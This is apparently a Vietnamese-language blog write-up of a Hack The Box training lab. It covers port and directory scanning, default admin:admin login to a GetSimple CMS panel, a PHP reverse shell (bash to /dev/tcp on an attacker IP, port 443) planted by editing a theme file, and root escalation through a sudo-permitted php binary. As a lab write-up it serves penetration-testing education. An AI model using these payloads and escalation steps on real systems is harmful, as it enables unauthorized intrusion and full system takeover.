My first machine -H_T_B
Hành trình tấn công machine đầu tiên - H_T_B
Machine này xuất hiện ở cuối module Getting Started
1. Thứ tự thao tác + tư duy của tớ:
- AE nhớ kết nối với VPN của HTB để thực hiện tấn công nhóe
sudo openvpn academy-regular.ovpn
- OK vậy là hiện nay chúng ta đã có trong tay IP của machine bắt đầu triển thôiii
- Trước hết tớ sử dụng
nmapđể quét qua các port của IP này, lọc ra các port đang open trước đã
nmap -sV --open <IP_TARGET>
Starting Nmap 7.95 ( https://nmap.org ) at <TIME>
Nmap scan report for <IP_TARGET>
Host is up (0.32s latency).
Not shown: 875 closed tcp ports (conn-refused), 123 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.32 seconds
Tớ đã sử dụng các cờ -sV, --open: Cờ --open sẽ lọc chỉ hiện những port đang trong trạng thái open ra màn hình còn cờ -sV sẽ cho chúng ta biết thêm về version của service đang chạy ở trong những port đó. Ngoài ra, ae có thể dùng thêm cờ -p- để quét full port nhé.
Hiện nay, tớ thấy được ở IP này đang có 2 cổng được mở là 22 và 80 (http). Hmm vậy chúng ta thử kiểm tra port 80 của nó xem sao.
- Mở Firefox kiểm tra:

- Kiểm tra một cách trực quan qua phần inspect, page source tớ không thấy điều gì đặc biệt cả
- Hmm kiểm tra qua với whatweb chúng ta có thể thấy được version cụ thể của web không
whatweb http://<IP_TARGET>/
http://<IP_TARGET>/ [200 OK] AddThis, Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apa
che/2.4.41 (Ubuntu)], IP[<IP_TARGET>], Script[text/javascript], Title[Welcome to GetSimple! - gettingstarted]
Cũng chưa thấy gì đặc biệt cả nhỉ, đều là những điều chúng ta đã biết sau khi đã quét qua bằng nmap -sV
- Tớ sẽ check qua với gobuster
gobuster dir -u http://<IP_TARGET> -w /SecLists/Discovery/Web-Content/c04:44:36 [20/42]
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://<IP_TARGET>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/admin (Status: 301) [Size: 314] [--> http://<IP_TARGET>/admin/]
/backups (Status: 301) [Size: 316] [--> http://<IP_TARGET>/backups/]
/data (Status: 301) [Size: 313] [--> http://<IP_TARGET>/data/]
/index.php (Status: 200) [Size: 5485]
/plugins (Status: 301) [Size: 316] [--> http://<IP_TARGET>/plugins/]
/robots.txt (Status: 200) [Size: 32]
/server-status (Status: 403) [Size: 278]
/sitemap.xml (Status: 200) [Size: 431]
/theme (Status: 301) [Size: 314] [--> http://<IP_TARGET>/theme/]
Progress: 4751 / 4751 (100.00%)
===============================================================
- Tớ đã quét bằng gobuster với chế độ dir để tìm kiếm phần url ẩn trên server này. Cờ -u là để điền url "gốc" của chúng ta và cờ -w là đường dẫn đến common.txt (list tên các thư mục, tên file thường gặp). Gobuster sẽ lần lượt ghép url "gốc" của chúng ta với các tên trong common.txt và kiểm tra xem liệu url mới được tạo ra có tồn tại không.
- Tớ chú ý thấy dòng: /robots.txt (Status: 200) [Size: 32]. File robots.txt là file để "quy định" rằng các con bot thu thập thông tin (vd bot thu thập thông tin để train cho AI) trên trình duyệt web KHÔNG ĐƯỢC PHÉP hay ĐƯỢC PHÉP thu thập dữ liệu nào của website. => chúng ta hoàn toàn có thể vào đọc thử xem liệu có đường dẫn bí mật nào vô tình được tiết lộ qua robots.txt không
- Check robots.txt
Bùm !! chúng ta thấy được đường dấn đến /admin/ bị nghiêm cấm thu thập data. Trông nguy hiểm, khả nghi là có thông tin hay phết vào thử phát xem nàoo - Check /admin/
Quả nhiên là như thế khi đường dẫn /admin/ dẫn chúng ta đến 1 trang đăng nhập nhưng đăng nhập thế nào nhỉ - Đăng nhập
Tớ biết có rất nhiều cách trên đời để tìm kiếm cặp thông tin
username:passwordnhưng trước hết chúng ta nên thử thủ công các cặp nổi tiếng đã. Tớ đã thử cặpadmin:adminvà nó đúng ngay lần thử đầu tiên ạ =)))))))))) nghe ảo đko nma sự thật nó là nthe. Maybe đây sự cố ý của bên làm ra cái lab này hoặc cũng có thể tớ may mắn và họ thật sự giấu cặpusername:passwordở đâu đó tớ sẽ tìm thêm và update. Nếu có ai đó biết có cách nào khác để tìm ra được cặpusername:passwordthì cmt cho tớ với nhé.
Đây là màn hình khi đã đăng nhập vào - Tìm kiếm lục lọi một chút...
Tớ đã thấy dòng này
Tìm thêm một chút nữa tớ tìm thấy dòng này và điều này đã khẳng định trang web này được xây dựng trên GetSimple CMS version 3.3.15
Đây là một thông tin cực kì quý giá vì chúng ta có thể nhanh tay lên search kiểu "GetSimple v3.3.15 exploit" hoặc cái gì đó tương tự và có thể phiên bản này sẽ có nhiều thứ hay ho để khai thác
RCE à ngonnnn nuôn. RCE là có quyền thực thi từ xa nhé cả nhà. Từ nguồn tri thức nhân loại chúng ta biết được rằng lỗ hổng ở GetSimple v3.3.15 cho phép attacker có thể RCE lại còn không cần phải xác thực thông qua cơ chế upload file tùy ý (nghiêm trọng nhỉ). Vậy chúng ta cần tìm cách để upload file chứa mã độc lên hệ thống là xong
- Up file lên hệ thống
Ở giao diện home page phía trên mọi người đều thấy có mục files. Tớ cũng thế và tớ kiểm tra nó đầu tiên. Trong đó cũng có nút up file and folder luôn. Nhưng nút đó không hoạt động,
Tìm ở home page một chút nữa tớ tìm thấy thứ này:

- Ô tức là chúng ta đã có quyền ghi vào 1 file .php trên hệ thống rồi. Vậy thì chúng ta có thể thử sửa nội dung file php này thành mã độc của chúng ta rồi đẩy lên hệ thống.
- Tớ sử dụng reverse shell nói nôm na là dòng lệnh ép máy mục tiêu "alo" đến cổng mà máy chúng ta chỉ định, từ đó thiết lập được được truyền giữa 2 máy và ta có thể khai thác data đang có mặt trên máy mục tiêu. Nếu máy chúng ta "alo" thẳng cho máy mục tiêu thì rất dễ bị tường lửa của máy mục tiêu chăn vậy nên reverse shell có thể "lách" qua tưởng lửa vì nó xuất phát từ chính bản thân máy mục tiêu. Tớ sử dụng reverse shell PHP này:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"ATTACKING IP"/443 0>&1'");?>
Tức là shell này sẽ "ép" máy mục tiêu phải "alo" qua cổng (port) 443 của máy chúng ta.
UPDATE: thời điểm viết ra cái blog này tự dưng tớ nghĩ về ý tưởng chúng ta có thể dùng curl -X POST thẳng file .php độc lên hệ thống không. Tớ sẽ thử thêm.
- Lắng nghe qua cổng 443
Về phía máy chúng ta tớ sử dụng
nc(netcat) để mở cổng 443 và ngồi chờ:
sudo nc -lvnp 443
[sudo] password for admin:
Listening on 0.0.0.0 443
Connection received on <IP_TARGET> <PORT>
Dòng Connection received on <TARGET_IP> xuất hiện cho thấy reverse shell đã hoạt động thành công ! và chúng ta đang có quyền RCE trên hệ thống dưới tư cách là 1 user thông thường.
www-data@gettingstarted:/usr/bin$ cd /home
cd /home
www-data@gettingstarted:/home$ ls
ls
mrb3n
www-data@gettingstarted:/home$ cd mrb3n
cd mrb3n
Đây là tớ đang thử các lệnh cd và ls và chúng hoạt động bình thường !
- Sau một hồi tìm kiếm chúng ta sẽ có được user.txt và trong đó là flag MỨC user:
www-data@gettingstarted:/home/mrb3n$ ls
ls
user.txt
www-data@gettingstarted:/home/mrb3n$ cat user.txt
cat user.txt
<USER__FLAG>
- Leo thang đặc quyền và ROOT_FLAG
Mục tiêu cuối cùng của chúng ta là leo quyền từ user lên thành root và kiếm flag mức root
www-data@gettingstarted:/home/mrb3n$ sudo -l
sudo -l
Matching Defaults entries for www-data on gettingstarted:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on gettingstarted:
(ALL : ALL) NOPASSWD: /usr/bin/php
Lệnh sudo -l cho chúng ta biết ở mức user hiện tại chúng ta có thể chạy những lệnh gì với quyền sudo và dòng (ALL : ALL) NOPASSWD: /usr/bin/php cho ta biết một điều cực kì quý giá: Chúng ta có thể chạy lệnh /usr/bin/php với quyền sudo mà không bị hỏi mật khẩu.
Tớ sử dụng ngay lệnh sudo /usr/bin/php -r "system('/bin/bash');". Lệnh này cho phép tạo ra 1 shell mới và shell mới được kế thừa ngay quyền sudo của lệnh sudo /usr/bin/php -r "system('/bin/bash');". Vậy là tớ đã lấy leo thang đặc quyền lên quyền sudo thành công !!!!!!
www-data@gettingstarted:/home/mrb3n$ sudo /usr/bin/php -r "system('/bin/bash');"
</mrb3n$ sudo /usr/bin/php -r "system('/bin/bash');"
id
uid=0(root) gid=0(root) groups=0(root)
cd /home
ls
mrb3n
cd mrb3n
ls
user.txt
cd /root
ls
root.txt
snap
cat root.txt
<ROOT_FLAG>
Dòng id uid=0(root) gid=0(root) groups=0(root) cho thấy chúng ta đã leo quyền root thành công và lấy được flag
2. Ý tưởng, tư duy tấn công của tớ
- Web Enum: Quét qua một lượt các port mở bằng
nmap, sau đó kiểm tra qua bằngwhatweb,gobuster. Mục tiêu: thu thập những thông tin cần thiết cho cuộc tấn công - Sau khi đã có những thông tin sau giai đoạn Web Enum, tìm hiểu về những cách tấn công: những lỗ hổng, vv
- Xây dựng phương án tấn công, tìm cách để triển khai phương án đó. Như bài này là chiếm quyền RCE qua việc upload fle độc hại
- Sử dụng shell để kết nối giữa target và máy mình (vd:
reverse shell),sshcó dùng được không ? Đã có quyền RCE rồi thì leo được quyền không, nên leo thế nào ? - Không ngừng học hỏi, không ngừng bỏ cuộc bro.
- I trust the process
All rights reserved